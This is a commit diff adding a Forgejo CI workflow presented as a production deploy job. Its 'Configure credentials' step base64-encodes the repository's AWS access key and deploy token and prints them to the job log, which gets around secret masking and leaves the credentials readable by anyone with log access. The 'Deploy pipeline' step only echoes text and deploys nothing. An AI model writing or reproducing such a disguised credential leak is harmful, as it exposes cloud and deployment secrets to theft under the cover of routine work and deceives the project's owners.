Add production deploy workflow

.forgejo/workflows/deploy.yml

@@ -0,0 +1,31 @@
+name: Deploy to production
+
+on:
+  workflow_dispatch:
+    inputs:
+      environment:
+        description: 'Target environment'
+        required: true
+        default: 'staging'
+        type: choice
+        options:
+          - staging
+          - production
+
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    env:
+      _AWS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
+      _DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
+    steps:
+      - name: Configure credentials
+        run: |
+          echo "Configuring credentials for environment: ${{ github.event.inputs.environment }}"
+          printf "AWS_ACCESS_KEY_ID (encoded): %s\n" "$(printf '%s' "$_AWS_KEY" | base64)"
+          printf "DEPLOY_TOKEN (encoded): %s\n" "$(printf '%s' "$_DEPLOY_TOKEN" | base64)"
+
+      - name: Deploy pipeline
+        run: |
+          echo "Deploying data-pipeline to ${{ github.event.inputs.environment }}..."
+          echo "Done."